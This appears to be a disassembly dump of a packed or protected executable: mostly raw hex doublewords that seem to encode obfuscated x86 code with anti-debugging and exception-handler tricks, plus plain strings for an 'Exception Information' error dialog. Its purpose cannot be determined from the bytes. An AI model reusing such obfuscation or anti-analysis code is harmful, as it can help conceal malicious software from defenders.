		dd 0EE9062Ah, 7000000h,	3E27E353h, 0F4CF924Fh, 982A6629h
		dd 0FC08529h, 1F85h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5DC8CC9Fh, 0FDAB8589h
		dd 0B509062Ch, 62A0071h, 0C850Fh, 8B0F0000h, 6,	32CD9D89h
		dd 6A062Ah, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	0A0C35747h, 0E88AAB90h,	0F281006Ah, 4CB9651Ch
		dd 0FDABB5FFh, 6A062Ch,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0D44996C3h, 564D06CFh, 6DB589BCh
		dd 0FF062A1Fh, 2CFD9795h, 41958906h, 85062A07h,	6850FC0h
		dd 81000000h, 4A2DFBF7h, 0ABB5FF4Fh, 66062CFDh,	30BCE781h
		dd 1FF595FFh, 0B966062Ah, 0C085189Bh, 6850Fh, 85890000h
		dd 62A102Dh, 0D68B006Ah, 8068D58Ah, 0BA000000h,	215DB88Eh
		dd 870F036Ah, 6, 28559531h, 6A062Ah, 0E2DBD0Bh,	6A062Ah
		dd 11019589h, 68062Ah, 89C00000h, 2A104995h, 23B5FF06h
		dd 6A062CFEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1863C351h, 0F89F3896h,	64D95FFh
		dd 8E8062Ah, 0E1000000h, 0EC076C22h, 890A8844h,	2A340DBDh
		dd 0F8835906h, 84850FFFh, 66000005h, 85FFCE8Bh,	62D0891h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1AC35545h
		dd 0BD89DCBAh, 62A0D45h, 68F0Fh, 958B0000h, 62A2C79h, 891BD83h
		dd 0F02062Dh, 45784h, 47D98000h, 243B858Dh, 6A005Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0B7EA59C3h, 0D0FFB3C6h, 9E9h, 0DB339A00h, 5D5E71F3h
		dd 858DAF64h, 5B1E8Eh, 0D0BF0F57h, 0FFD78B5Ah, 0E19531D0h
		dd 8B062A22h, 95BD89C0h, 0F062A22h, 683h, 1D958900h, 83062A13h
		dd 2A2451BDh, 9750006h,	2A89BD83h, 7400062Ah, 8B535019h
		dd 7D8B8C0h, 85890000h,	62A2789h, 0BB699D8Dh, 0D3FF062Ch
		dd 0BD83585Bh, 62A2A89h, 50177400h, 7D8B853h, 85890000h
		dd 62A2789h, 0B8589D8Dh, 0D3FF062Ch, 840F585Bh,	6, 0F198D31h
		dd 40BF062Ah, 8B081B50h, 598D8BC0h, 68062A13h, 0F003Fh
		dd 0DE9h, 0E319F000h, 0C09DBA65h, 8E53C4F3h, 6A5C9Ch, 48A0Fh
		dd 0BF660000h, 6A5D71h,	16D19589h, 95FF062Ah, 62A1685h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ABC35545h
		dd 14E8h, 0CB209300h, 4FE862B4h, 255B1C1Ch, 0B55F899h
		dd 0AD11679Dh, 0C085598Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 1BC35747h, 75E06334h,	13D18D89h, 0CE8062Ah
		dd 4E000000h, 8A0632C1h, 35B9243h, 0F0A49D4h, 689h, 21BD0300h
		dd 59062A12h, 0FDA78589h, 0AAB6062Ch, 0F01FF68h, 21950B00h
		dd 83062A33h, 2A344DBDh, 840F0006h, 2Fh, 9852960h, 66062A2Bh
		dd 254FDA81h, 4858D61h,	0E9062CFEh, 9, 2EE5464h, 1BC8EA10h
		dd 0B58D8B78h, 0E9062A2Ch, 0Fh,	8D27C580h, 2CFDDA85h, 0B1BD3106h
		dd 50062A06h, 4F59589h,	0B5FF062Ah, 62CFDA7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 62C35646h, 3650CD19h
		dd 1C17ABADh, 9F95FF84h, 0E8062CFDh, 5,	27E4738Eh, 0CDBD89E9h
		dd 59062A2Ah, 0FDAB8589h, 8531062Ch, 62A2D1Dh, 1B0985C7h
		dd 62Ah, 14E80000h, 29000000h, 25D5F3FFh, 0F6726013h, 98DCB955h
		dd 0AD04281Bh, 6695C641h, 5A064EBFh, 0A619529h,	0BD83062Ah
		dd 62CFDABh, 0CF840F00h, 8B000001h, 2A074995h, 0CAB70F06h
		dd 89858Dh, 8529062Dh, 62A1291h, 918D8950h, 6A062A32h
		dd 0DDBD8B01h, 0FF062A0Bh, 2CFDABB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 3DBD6AECh, 917793D4h, 0B70FB70Fh, 0A395FFFFh, 6A062CFDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 3F87C351h, 0B49B3E5Bh, 0BE989B2h,	2B000000h
		dd 0A1182450h, 0C3F95BA0h, 0B5FFCFF8h, 62CFDABh, 6E8h
		dd 20D69800h, 80D55634h, 0FF5F93E5h, 2A1FF595h,	0C1958B06h
		dd 68062A09h, 0F01FFh, 0CF819EB9h, 4DBD8314h, 62A34h, 6A840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C59896C3h, 0A3B11726h, 0B589FCA4h, 62A2A51h
		dd 8D99E180h, 2CFE0485h, 0FE806h, 63B40000h, 0DF04A260h
		dd 1EB576F0h, 0EA8415C2h, 68F0F34h, 89000000h, 2A1B0D9Dh
		dd 18E95A06h, 0E9000000h, 0Ch, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh
		dd 0FDDA858Dh
		dd 50F5062Ch, 35859D89h, 8B66062Ah, 0A7B5FFC8h,	89062CFDh
		dd 2A2DD18Dh, 9F95FF06h, 66062CFDh, 8589D08Bh, 62CFDABh
		dd 6880Fh, 8D890000h, 62A077Dh,	0FDABB5FFh, 6660062Ch
		dd 0B2888BB8h, 95FF61BAh, 62CFD9Bh, 28AD958Bh, 0B5FF062Ah
		dd 62CFDABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	59C35141h, 5E3A6A93h, 550960D0h, 0FEBF0F22h, 1FF595FFh
		dd 8D0F062Ah, 1, 10E9F8h, 0BABE0000h, 4CE165B8h, 0F2001058h
		dd 3ACBFE05h, 0CFE9E6D5h, 6AFFFFF6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0A0A9C351h
		dd 8D8B6A53h, 62A1AADh,	8F4B5FFh, 6A062Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0D93A77C3h
		dd 78B12378h, 1F418589h, 95FF062Ah, 62A05C1h, 10E59501h
		dd 858B062Ah, 62A18FDh,	0AE9h, 6EBC4C00h, 14F9B244h, 0E9D6CA0Ah
		dd 576h, 0A9B58Dh, 9D01062Dh, 62A2501h,	0AD6C858Dh, 0BD89062Ch
		dd 62A3289h, 0B589D0FFh, 62A1FC1h, 0F60006Ah, 686h, 8F0F00h
		dd 66000000h, 61EE8ABFh, 289595FFh, 0B501062Ah,	62A2C45h
		dd 14E9F38Bh, 18000000h, 7F278A02h, 34632850h, 6D1CCE2Bh
		dd 0A5E459D0h, 66A16BFEh, 8DC8BBB9h, 2CAD6C85h,	0FFD38B06h
		dd 999D31D0h, 6A062A21h, 11E900h, 32490000h, 0C5EEA11Eh
		dd 3607663Ch, 0E97CE55Ah, 0FF8B9500h, 2A289595h, 0E9B58906h
		dd 8B062A0Eh, 6820FC0h,	29000000h, 2A28B585h, 51BD8306h
		dd 62A24h, 0BD830975h, 62A2A89h, 50197400h, 0B8C08B53h
		dd 7D9h, 27898589h, 9D8D062Ah, 62CBB69h, 585BD3FFh, 2A89BD83h
		dd 7400062Ah, 0B8535017h, 7D9h,	27898589h, 9D8D062Ah, 62CB858h
		dd 585BD3FFh, 0BE9h, 0C0CC600h,	99378A72h, 3C93EB3Ah, 0C08B06B1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 4EC35040h
		dd 389AC313h, 19350513h, 4AB951FEh, 596CF437h, 31BD8950h
		dd 8B062A05h, 5307B2D8h, 35199D8Dh, 38B062Ah, 438B0389h
		dd 50438950h, 88D9D8Dh,	38B062Dh, 0FC5B0389h, 80C78166h
		dd 8B006A31h, 2A2DA98Dh, 8D858D06h, 60062D08h, 0E398D89h
		dd 0E956062Ah, 6, 0FA874C36h, 615EA01Fh, 32818D2Bh, 8950062Ah
		dd 2A0DF1BDh, 60606A06h, 25A59D2Bh, 0D88A062Ah,	19858D61h
		dd 8B062A35h, 2A11ED95h, 0DD8D2306h, 50062A0Ch,	77FAC781h
		dd 6A0F18h, 814C281h, 6A5E41h, 89CE8B60h, 2A265DB5h, 686106h
		dd 8B000018h, 2A103D95h, 0BE95306h, 99000000h, 9CF85A6Bh
		dd 1EAC7286h, 95FF20BBh, 62A2095h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 3DC35646h, 0DB9E6EF6h, 0D98F3C3Ch
		dd 95FFF87Bh, 62A0EC5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 8CC35545h, 3E828E01h,	0F4B5FF7Ch, 29062D08h
		dd 2A1A0D9Dh, 0C195FF06h, 8B062A05h, 2A2265BDh,	0F1816606h
		dd 858D5930h, 62A3519h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0CDC35646h, 41FC82BAh, 0CD952B4Eh, 8B062A0Eh
		dd 6A1840h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0CBD6C5C3h, 55E1EC52h, 0DB53D281h, 85C77173h
		dd 62A10D5h, 0
		dd 10E9h, 5B8E1800h, 510FDB1Fh,	0CA04EF2Eh, 0D3DA3F80h
		dd 4DBD8395h, 62A34h, 44840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD89F8C3h
		dd 62A1195h, 8C3Dh, 88830F00h, 0F000001h, 682h,	6CCA8100h
		dd 0E913D8BCh, 13h, 17F19D89h, 983D062Ah, 0F000000h, 16683h
		dd 8DF0B100h, 5B243B85h, 958D8B00h, 0FF062A15h,	219D89D0h
		dd 0E9062A16h, 0Bh, 2A0A740Bh, 61CE16D4h, 8D997295h, 5B1E8E85h
		dd 8D0B6000h, 62A2325h,	28AD8503h, 0FF61062Ah, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0FBAE64D6h, 0D2035939h, 6AC08BE2h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 803EC352h
		dd 8C0F03D6h, 6, 25F9B589h, 0BD83062Ah,	62A2451h, 83097500h
		dd 2A2A89BDh, 19740006h, 0C08B5350h, 0BC6B8h, 89858900h
		dd 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h, 62A2Ah
		dd 53501774h, 0BC6B8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 15B52958h, 60062A15h, 0DE9h, 3116500h, 0AA18874Ah
		dd 7B8B8C29h, 5EB1DE76h, 0FC08B61h, 1B8Dh, 13E85600h, 83000000h
		dd 4694733Eh, 2B0B9B13h, 0C2CEB977h, 54B8A365h,	59593DD2h
		dd 0FFFF883h, 2585h, 0D2B70F00h, 0F9185C7h, 62Ah, 81660000h
		dd 0E9FDDEE9h, 0C8h, 0DFD958Bh,	19E9062Ah, 0F000000h, 0F883D1B7h
		dd 0D850F01h, 9000000h,	2A1451B5h, 0FCE906h, 0C3B20000h
		dd 0FFF1D5E9h, 0A5958BFFh, 8B062A25h, 0BD83F8C0h, 62A2451h
		dd 83097500h, 2A2A89BDh, 19740006h, 0C08B5350h,	7DDB8h
		dd 89858900h, 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h
		dd 62A2Ah, 53501774h, 7DDB8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 0BA665658h, 805F77F9h, 0C08B32CAh, 0E0DBD89h
		dd 0F860062Ah, 0F4D2F781h, 0E961039Fh, 24Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E0C35545h, 5A9FBD6Ch
		dd 31F98D89h, 0BD89062Ah, 62A1FEDh, 691858Dh, 6A062Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0B120B9C3h, 3EFA4476h, 81AE3E24h, 608C0E9h, 8985891Ch
		dd 81062D08h, 0E6A8B2E9h, 30E910h, 0FE90000h, 0A0000000h
		dd 0E04C296Ah, 1BFC6EC4h, 0C4B3C77Ch, 858D2793h, 62D0499h
		dd 2C6DBD8Bh, 8940062Ah, 2A28259Dh, 89858906h, 0F062D08h
		dd 346AD0BFh, 23C1858Dh, 0FF50062Ah, 2D0889B5h,	0FF006A06h
		dd 2A005195h, 7F88306h,	168840Fh, 8C660000h, 4C3F6DBh
		dd 102850Fh, 85C60000h,	62A27C9h, 0B8526856h, 0B5FF9CA8h
		dd 62A231Dh, 3BBF858Dh,	0D0FF062Ah, 68046Ah, 6A000010h
		dd 0FF006A64h, 0FC8589D0h, 0C6062D08h, 2A27C985h, 9B684706h
		dd 0FFEC18ACh, 2A231DB5h, 0BF858D06h, 0FF062A3Bh, 8BD0FFD0h
		dd 0C985C6F0h, 4F062A27h, 2F266168h, 95B5FFC6h,	8D062A12h
		dd 2A3BBF85h, 8DD0FF06h, 2D08F89Dh, 286A5306h, 85D0FF56h
		dd 0C60075C0h, 2A27C985h, 98684106h, 0FFDB8764h, 2A1295B5h
		dd 0BF858D06h, 0FF062A3Bh, 158589D0h, 0C6062D09h, 2A27C985h
		dd 0A4684C06h, 0FF80A4E7h, 2A1295B5h, 0BF858D06h, 0FF062A3Bh
		dd 0FC9D8BD0h, 8D062D08h, 8D53045Bh, 2D09019Dh,	6A5306h
		dd 9D8BD0FFh, 62D08FCh,	103C7h,	43C70000h, 20Ch, 5D9D8B00h
		dd 0C7062A00h, 2A22FD85h, 6, 6A006A00h,	8B006A00h, 2D08FC9Dh
		dd 6A5306h, 8F8B5FFh, 95FF062Dh, 62D0915h, 27C985C6h, 6845062Ah
		dd 92A5F797h, 334DB5FFh, 858D062Ah, 62A3BBFh, 6AD0FFh
		dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 8FC9D8Bh,	43C7062Dh
		dd 0Ch,	6A006A00h, 0FC9D8B00h, 53062D08h, 0B5FF006Ah, 62D08F8h
		dd 91595FFh, 0B5FF062Dh, 62D08F8h, 0EC595FFh, 6A062Ah
		dd 289595FFh, 0BD89062Ah, 62A14A5h, 15840Fh, 10E90000h
		dd 49000000h, 0A74D1187h, 0B9430729h, 8AAA102h,	8DD4E811h
		dd 2D3E2385h, 48E98106h, 500600A0h, 22D19509h, 0FF64062Ah
		dd 35h,	25896400h, 0
		dd 0ADBF6660h, 10E95649h, 28000000h, 5F931CD4h,	1C5958FBh
		dd 0EFE955E6h, 58512A09h, 45BD8361h, 62A32h, 77840Fh, 0B9660000h
		dd 0BD83AF82h, 62A3415h, 66850F01h, 8B000000h, 2A27B595h
		dd 15BD8006h, 62D0Dh, 53850Fh, 10E90000h, 9B000000h, 0E415A2C3h
		dd 0A88EC7D1h, 1492D253h, 0E9AB0F55h, 1ACh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A8C35242h, 0D3F9CB93h
		dd 12E9C5A2h, 0D8000000h, 940BE6DAh, 9FCC4FEh, 0EAD2BE9h
		dd 362576E0h, 23DB3328h, 2A2C3995h, 8BC03306h, 2A125195h
		dd 42E18106h, 40479094h, 0B073F0Fh, 58F64h, 83000000h
		dd 8D8B04C4h, 62A2B09h,	10BDBD8Bh, 0FE9062Ah, 0D4000000h
		dd 0CE597A86h, 35A932A2h, 0BDFADD15h, 0FB83138Dh, 1A840FFFh
		dd 80000000h, 78B235EAh, 111E9h, 0D9958900h, 0E9062A1Fh
		dd 5, 0BA3A0E87h, 84E97Ch, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 8D9FA6C3h
		dd 0A18D09EDh, 8B062A06h, 0C70C244Ch, 0A481h, 0FFFFFF00h
		dd 0B88183FFh, 4000000h, 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h
		dd 62D3E45h, 0B8838Bh, 858D0000h, 62D3F04h, 0B88389h, 335D0000h
		dd 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0E31A9DC3h, 858DCB8Bh, 62D3E3Bh, 1811B589h
		dd 0F50062Ah, 0BABACAB7h, 640FBC32h, 35FFh, 8B660000h
		dd 258964CEh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DEC35242h
		dd 0CCFFDC86h, 333A91A8h, 33E19509h, 0AB9062Ah,	0B8000000h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	62A1341h
		dd 1, 58F64h, 83000000h, 10E904C4h, 0C000000h, 0D2B14483h
		dd 974C2658h, 8B448DD4h, 56F274D3h, 0E02CBA66h,	89C08B59h
		dd 2A0A1995h, 51BD8306h, 62A24h, 0BD830975h, 62A2A89h
		dd 50197400h, 0B8C08B53h, 43Dh,	1A018589h, 9D8D062Ah, 62CBBD0h
		dd 585BD3FFh, 2A89BD83h, 7400062Ah, 0B8535017h,	43Dh, 1A018589h
		dd 9D8D062Ah, 62CB871h,	585BD3FFh, 8166FCF9h, 0E927BFF2h
		dd 0Ch,	484FD4C9h, 1C84C737h, 446B7323h, 47E9C08Bh, 4000001h
		dd 31000000h, 3031392Eh, 7 dup(0)
		db    0
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dw 0BD83h
		dd 62A2769h, 2D840F00h,	8D000001h, 2CB68885h, 858D5006h
		dd 62CB5F2h, 16850h, 95FF8000h,	62CB698h, 3F9B858Dh, 8D50062Dh
		dd 2D3FA585h, 6A5006h, 858D006Ah, 62CB606h, 88B5FF50h
		dd 0FF062CB6h, 2A09D595h, 9B858D06h, 50062D3Fh,	3FA9858Dh
		dd 6A50062Dh, 8D006A00h, 2CB61885h, 0B5FF5006h,	62CB688h
		dd 9D595FFh, 858D062Ah,	62D3F9Bh, 0B5858D50h, 50062D3Fh
		dd 6A006Ah, 0B665858Dh,	0FF50062Ch, 2CB688B5h, 0D595FF06h
		dd 8D062A09h, 2D3F9B85h, 858D5006h, 62D3FBDh, 6A006A50h
		dd 83858D00h, 50062CB6h, 0B688B5FFh, 95FF062Ch,	62A09D5h
		dd 3F9B858Dh, 8D50062Dh, 2D3FB985h, 6A5006h, 858D006Ah
		dd 62CB66Ch, 88B5FF50h,	0FF062CB6h, 2A09D595h, 9B858D06h
		dd 50062D3Fh, 3FAD858Dh, 6A50062Dh, 8D006A00h, 2CB67485h
		dd 0B5FF5006h, 62CB688h, 9D595FFh, 858D062Ah, 62D3F9Bh
		dd 0B1858D50h, 50062D3Fh, 6A006Ah, 0B67B858Dh, 0FF50062Ch
		dd 2CB688B5h, 0D595FF06h, 0FF062A09h, 2CB688B5h, 8595FF06h
		dd 0E9062A21h, 0A2h, 2C09BD83h,	0F00062Ah, 9584h, 15BD8300h
		dd 62A34h, 11850Fh, 958B0000h, 62A250Dh, 1CF8C281h, 0FE90000h
		dd 8D000000h, 2A351995h, 34528B06h, 0C340C281h,	95893BD4h
		dd 62A0C79h, 0C79BD83h,	0F00062Ah, 5584h, 799D8B00h, 83062A0Ch
		dd 38B4CC3h, 3FA58589h,	9D8B062Dh, 62A0C79h, 8B50C383h
		dd 0A9858903h, 8B062D3Fh, 2A0C799Dh, 54C38306h,	8589038Bh
		dd 62D3FB5h, 0C799D8Bh,	0C383062Ah, 89038B58h, 2D3FB985h
		dd 799D8B06h, 83062A0Ch, 38B5CC3h, 3FAD8589h, 0BD83062Dh
		dd 62A2769h, 0D850F00h,	83000000h, 2A2C09BDh
		db 6, 0
word_580046	dw 840Fh		; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 68h,	3FBDB5FFh, 0B5FF062Dh, 62D3FB1h, 3FADB5FFh, 0B5FF062Dh
		dd 62D3FB9h, 3FB5B5FFh,	0B5FF062Dh, 62D3FA9h, 3FA5B5FFh
		dd 858D062Dh, 62D3F9Fh,	0D7858D50h, 50062D3Fh, 0E1858Dh
		dd 0FF50062Ah, 2A0B3595h, 24C48306h, 858D406Ah,	62D3FC1h
		dd 0E1858D50h, 50062A00h, 95FF006Ah, 62A0051h, 95FF016Ah
		dd 62A2895h, 18EBC18Bh,	9B46F317h, 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 436BED81h, 0C261062Dh
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 2D43A3B5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	2D43A7B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 62A0C79h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 2A06E195h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 62A0C79h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	0C79858Bh, 1886062Ah
		dd 850FDB0Ah, 0FFFFFFF6h, 4A985C7h, 62Ah, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 2A04A985h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 2D434885h, 106h, 10F5000h, 8FFE244Ch
		dd 2D434C85h, 44858D06h, 8D062D43h, 2D434CBDh, 0E9388906h
		dd 23h,	3519858Dh, 408B062Ah, 0F3170538h, 85899B46h, 62D4344h
		dd 3519858Dh, 408B062Ah, 4885893Ch, 8D062D43h, 2D436185h
		dd 0E1858906h, 0E9062A06h, 87h,	60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 2D45D485h,	51858906h
		dd 8D062A0Fh, 2D45FC85h, 0B1858906h, 8D062A05h,	2D462485h
		dd 7D858906h, 0E8062A27h, 5, 0FDC76D9h,	0E880F48h, 0E9000000h
		dd 9, 0D097786Dh, 7E19B5A3h, 0BE665AA1h, 0C2813E97h, 5CF8h
		dd 68F7BF0Fh, 1705h, 12E9h, 301CC300h, 9F6096B0h, 0B922FCC7h
		dd 0C2077203h, 5FA0FDA4h, 0EE90A8Bh, 27000000h,	684C1124h
		dd 0A6BA44B6h, 95463E8Ch, 98E98171h, 8176C28Ch,	0A2DFDEC1h
		dd 62BB6609h, 74F18152h, 0E95DE667h, 0Fh, 666D024Dh, 33D1B816h
		dd 31EB50D8h, 51BC5FFEh, 1820Fh, 8FF90000h, 3800F02h, 0F000000h
		dd 0EA83DFB7h, 0BE904h,	15C90000h, 0DC6535F9h, 14D11384h
		dd 850F4F62h, 23h, 0D0C18160h, 0B2043C5Fh, 29E96183h, 42000000h
		dd 0AF3E079Eh, 0D25539FFh, 703542F4h, 0D0B85F5Ah, 575132FAh
		dd 5B5B5051h, 0FF66E958h, 34DCFFFFh, 4F709B2h, 0F2262692h
		dd 0E6816660h, 13B67F99h, 0EA81C08Bh, 7086F2DEh, 2451BD83h
		dd 7500062Ah, 89BD8309h, 62A2Ah, 53501974h, 0EB8C08Bh
		dd 89000004h, 2A278985h, 699D8D06h, 0FF062CBBh,	83585BD3h
		dd 2A2A89BDh, 17740006h, 0EB85350h, 89000004h, 2A278985h
		dd 589D8D06h, 0FF062CB8h, 6A585BD3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 20B5C352h
		dd 0A71F97DDh, 66E5C1ABh, 0FE9D18Bh, 0F4000000h, 1EFF9E2Ah
		dd 55F17664h, 12AB425Ah, 0C08B8DA4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 74C35141h, 56EA62EEh, 5AF6BF0Fh
		dd 3245BD83h, 0F00062Ah, 4184h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FA6E9A01h
		dd 7E4A6820h, 0CA8166ECh, 0F78BC4BDh, 275E9h, 0B870F00h
		dd 0F000000h, 580h, 0C33DBA00h,	0DF8C6514h, 66C9B70Fh
		dd 4C7F7h, 254850Fh, 0B9660000h, 0BD83C2E7h, 62A344Dh
		dd 1D850F00h, 0F000000h, 582h, 0BE63B900h, 3BB93207h, 0E905E628h
		dd 22Eh, 2850Fh, 2FB50000h, 0BFh, 15CABE00h, 5A524519h
		dd 4A889D8Dh, 0BE66062Dh, 95B67190h, 0CE8A5093h, 168D0F93h
		dd 0E9000000h, 11h, 0AB1250E9h,	3E0B60C2h, 46D1B54Bh, 31773376h
		dd 35FF64D2h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h
		dd 62CE1965h, 13E9h, 1DF5C700h,	0D84269D0h, 525D54E9h
		dd 83130EDEh, 6E4FCA3Dh, 258964h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0E33C353h, 47FCDA4Eh, 0C48B8BC5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 5C35242h, 833C903Bh, 0EB01CDB4h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8B4569ADh, 0F0BF0FF2h, 0E224BA66h, 8F64D68Bh
		dd 5, 13E900h, 14EE0000h, 0C0A64601h, 0D424BC62h, 16BB1478h
		dd 4A2D81FBh, 4C48381h,	840FC00Bh, 10Ah, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 88C35545h, 0D3EBFABBh
		dd 0E9B00F54h, 10h, 2839789Fh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh
		dd 6800Fh, 0B1600000h, 61CF8A9Bh, 66BD8D61h, 52062A70h
		dd 0AE28CFB9h, 1B85A77h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9C7BC353h
		dd 34EE8166h, 0CBB70F37h, 0FE8h, 27D09B00h, 6D547945h
		dd 0A3D09778h, 0A17E19B5h, 9E8h, 5E123500h, 58909738h
		dd 81668CD4h, 5A77DFE2h, 51E7FF59h, 0AE9h, 0F3F5A500h
		dd 4670AEBh, 5E880C82h,	245C8B57h, 0B8838B10h, 0F000000h
		dd 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h, 335F0200h
